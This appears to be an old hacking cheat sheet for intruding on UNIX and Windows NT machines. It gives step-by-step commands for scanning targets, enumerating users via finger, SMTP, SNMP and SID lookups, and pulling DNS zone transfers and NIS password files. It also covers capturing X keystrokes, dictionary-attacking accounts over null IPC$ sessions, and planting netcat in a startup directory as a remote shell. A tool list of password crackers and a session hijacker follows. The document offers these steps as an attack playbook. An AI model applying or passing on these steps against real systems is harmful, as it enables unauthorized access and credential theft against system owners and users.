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UNIX Information Gathering 
 
1. Find potential targets. 
 
nmap     display usage for nmap 
nmap –sP IP_ADDRESS_RANGE search for targets which respond to pings 
 
2. Portscan potential targets to determine potential services running and Operating System 
 
nmap –sS –O IP_ADDRESS_RANGE SYN scan targets, and determine OS 
 
3. Probe services for more information 
 
 
PORT SERVICE Query to Send to Service What to look for in response 
21/TCP FTP $:/> ftp IP_ADDRESS Version of FTP service 

  (log in as ftp/ftp or anonymous/anonymous) See if anonymous users can log in, and if so, 
check to see if/where they can write files 

23/TCP TELNET $:/> telnet IP_ADDRESS Information about OS version 

25/TCP SMTP $:/> telnet IP_ADDRESS 25 
     VRFY USERNAME 
     EXPN USERNAME 

Version of SMTP 
See if you can guess usernames for the 
server 

53/UDP NAMED $:/> nslookup 
> server IP_ADDRESS 
> set type=any 
> ls IP_DOMAIN_NAME 

A list of all machines DNS knows about. This 
is a “zone transfer” 

79/TCP FINGER $:/> Finger 0@IP_ADDRESS Logged in users 

  $:/> Finger “ “@IP_ADDRESS Logged in users 

  $:/> finger “a a a a a a a a 
a“@IP_ADDRESS  

Entire User list on a Solaris machine 

80/TCP HTTPD $:/> telnet IP_ADDRESS 80 
GET / HTTP/1.0 

Version of Web Server, HTML source of 
main page. 

  http://IP_ADDRESS/cgi-bin/test-cgi 
(Or use a cgichk program) 

Search for common vulnerable cgi-bin utils 
this way. Simply replace test-cgi with other 
vulnerable CGI programs. 

   Use a web browser to view content of pages, 
searching for information such as email 
addresses. 

110/TCP POP3 $:/> telnet IP_ADDRESS 110 
USER USERNAME 
PASS password 

Version of POP server 
See if the user exists. 
See if you can guess the password 

111/TCP SUNRPC $:/> rpcinfo –p IP_ADDRESS List of RPC services running 

 NFSD $:/> showmount –e IP_ADDRESS List of NFS shares available 

 RUSERSD $:/> rusers –la IP_ADDRESS Information about users 

 YPSERV (Determine domain name, and execute: )  
$:/> Ypcat passwd 

Contents of the yp password file 

 ADMIND (Use admintool from a remote Solaris machine) (Can allow remote administration) 

139/TCP NETBIOS (This is a windows or SAMBA machine. Use smbclient 
to browse shares) 

 

161/UDP SNMP $:/> snmpwalk IP_ADDRESS public * List SNMP table (read-only) 

  $:/> snmpwalk IP_ADDRESS “all public” * 
$:/> snmpwalk IP_ADDRESS private * 

 

  $:/> snmpwalk IP_ADDRESS “all private” * List SNMP table (read/write) 

543/TCP RLOGIN $:/> rlogin –l USER_NAME IP_ADDRESS (If a wildcard is set in ~/.rhosts or 
/etc/hosts.equiv, you will not be prompted for 
a password.) 



6000/ 
TCP 

XWIN $:/> Xwininfo –display IP_ADDRESS –root Information about root window 

  $:/> Xkey IP_ADDRESS:0 Displays keystrokes pressed on a vulnerable 
Xserver 

    

    

    

 
4. Search service listings for potential remote vulnerabilities. Use one of many Internet hacker 

sites to search for vulnerabilities 
5. Using discovered usernames, probe services like telnet and ftp with common passwords. 
6. Once a user account is obtained, leverage admin access with local exploits like buffer 

overflows or race conditions. 
 



Windows NT Information Gathering 
 
It is generally easier for a beginner to probe an NT machine from an NT machine. 
 
1. Once potential NT machines are found, (port 137/138/139), use NBTSTAT –A IP_ADDRESS 

to determine server names and other info.  
 
2. If you are interested in mapping IP addresses to NETBIOS names, load your 

%SYSTEMROOT%/drivers/etc/lmhosts file with: 
 

IP_ADDRESS SERVER_NAME #PRE 
 
3. If you are interested in mapping IP addresses to NETBIOS names, nbtstat –R will reload your 

name cache using the info in the lmhosts file. This will allow you to address machines by 
name or IP address. This also assists in browsing. 

 
4. If you are interested in mapping IP addresses to NETBIOS names, Nbtstat –c will display 

your name cache. 
 
5. Attempt a NULL IPC connection to the machine with: 
 

NET USE \\IP_ADDRESS\IPC$ “” /user:”” 
 
6. If this is successful, you have several options: 
 
NET VIEW \\IP_ADDRESS will show the remote name tables 
USER2SID IP_ADDRESS USERNAME will show the SID for a userid 
SID2USER IP_ADDRESS SID  
(use spaces instead of dashes) 

will reverse a SID into a username. These two 
utilites can be used to walk through the SID list and 
discover user names. Search for SIDs ending in 
(500-600,1000-2000) 

SPLINTER This NT util will do SID reversals for you. 
DUMPACL Will dump the remote permissions (ACLs). 
NET USE DRIVE: \\IP_ADDRESS\SHARENAME will mount a share using the IPC credentials. If 

successful, 
NAT (under Linux or NT) to dictionary-attack user accounts 
NETCAT install netcat on the remote system under a startup 

directory to provide a telnet-like server to launch 
local attacks  

 
 
7. If NAT gives you user ID and password combinations, disconnect your IPC connection with: 
 

NET USE \\IP_ADDRESS\IPC$ /delete 
 
8. and “upgrade” your IPC connection to the new user account 
 

NET USE \\IP_ADDRESS\IPC$ “PASSWORD” /user:”USER_ID” 
 
Any future activity against this machine now occurs as this new account/password 
combination. 



 
9. Return to step 6, and gather information using your new account. 
 
Nmap The best port scanner, by 

fyodor 
UNIX 

USER2SID Converts USERIDs into SIDs NT 
SID2USER Converts SIDs to USERIDs NT 
SNMPWALK snmp query tool, cmu-snmp 

package 
UNIX 

L0phtcrack Windows NT cracking tool NT 
John the ripper UNIX password cracker UNIX,NT 
Crack UNIX password cracker UNIX 
Juggernaut TCP session hijacking/sniping UNIX 
Netcat TCP/UDP data transfer utility UNIX/NT 
Qtip Remote NT user grabber NT 
DumpACL Dumps NT ACL lists remotely NT 
 
 
 
 
 
 
   
 


